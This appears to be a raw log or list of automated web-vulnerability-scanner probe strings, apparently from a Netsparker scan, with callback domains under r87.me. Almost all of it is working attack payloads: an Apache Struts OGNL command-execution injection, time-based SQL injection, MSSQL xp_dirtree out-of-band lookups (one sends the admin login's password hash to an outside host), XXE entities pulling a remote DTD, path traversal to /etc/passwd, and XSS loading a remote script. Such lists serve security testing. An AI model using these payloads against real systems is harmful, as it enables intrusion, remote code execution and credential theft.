3

3

h_cszcnetxpnko_brzfzfkbbmdyoytswihm12vvr-ak.r87.me

3

-1'||1=='1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='29725').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1);SELECT pg_sleep(25)-- /* 0368c678-8663-4535-afb3-939872934bad */

exec('xp_dirtree ''\\h_cszcnetxjyidncibuxpkya62r2ivmrc_8sxrwd'+'yxi.r87.me'+'\c$\a''')

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 59743997-3aea-4fdd-9f18-52461a9272d9 */

;netsparker(0x09FFE4)//\

/../../../../../../../../../../../etc/passwd

www.imagwiki.nibib.nih.gov/trace.axd

3

-1'||'a'=='a

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://h_cszcne"><!ENTITY % d "txhsrzza64cjskokmm_6mhjo6rtwpftyk4a.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"&gt; %dtd;]><r>&a;</r>

h_cszcnetxdzwvrt415je6zg78odw6wqcievpft2goq.r87.me

3

print localtime()*0+0xFFF9999-83701

exec('xp_dirtree ''\\h_cszcnetx7ygle8ibkace2zpoaqw0w4tm6avcpd'+'izk.r87.me'+'\c$\a''')

1');SELECT pg_sleep(25)-- /* bfa23282-e130-441b-b457-49f1cfef636f */

'"--></style></scRipt><scRipt>netsparker(0x09FFEA)</scRipt>

3

54.243.205.65/trace.axd

file:///etc/passwd

-1'||true||'

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://h_cszcne"><!ENTITY % d "txdrtw2snxmlhfbpi05kwh0mq3qvabi1zg8.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"&gt; %dtd;]><r>&a;</r>

3

3

//h_cszcnetxinxlo8wfo7j1ywzjdk3tmq-d0mhyfbboe.r87.me

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.h_cszcnetxlfi1n9jbnh_hcaunxgzobrzv1wyrcq'+'rzk.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

print localtime()*0+0xFFF9999-7106

3

1');SELECT pg_sleep(25)-- /* 8c873468-c0f3-4f9a-b484-999591b7e5a2 */

-1'||'1'=='2

127.100.11.2/trace.axd

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://h_cszcne"><!ENTITY % d "tx5drtw6jwtyg9pc-jke1b5p2clsfi2e1kw.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"&gt; %dtd;]><r>&a;</r>

/../../../../../../../../../../../etc/passwd

3

1;exec('xp_dirtree ''\\h_cszcnetx4ryxt_jegdyqbkbwp8bzdqjmq1_qdv'+'tmm.r87.me'+'\c$\a''')--

//h_cszcnetxgntjxu7zluvabk1oabbxfvphy-qk5uupy.r87.me

3

3

eval('print localtime()*0+0xFFF9999-47931')

-1'||'N'=='3

'"--></style></scRipt><scRipt src="//h_cszcnetx930cb6l_lvqgt3qna2ga69s_c3ra64sky&#46;r87&#46;me"></scRipt>

1'));SELECT pg_sleep(25)-- /* 01173139-7eda-4201-b7c2-3afd123c86d8 */

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://h_cszcne"><!ENTITY % d "tx2wysrxdzcea36yp3wqvpfmvtvajgkvhig.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"&gt; %dtd;]><r>&a;</r>

/../../../../../../../../../../../etc/passwd.php

127.0.0.1/trace.axd

http://h_cszcnetxwbzefoveapqhv1ac8l35wlh_x0honhgfn.r87.me/p/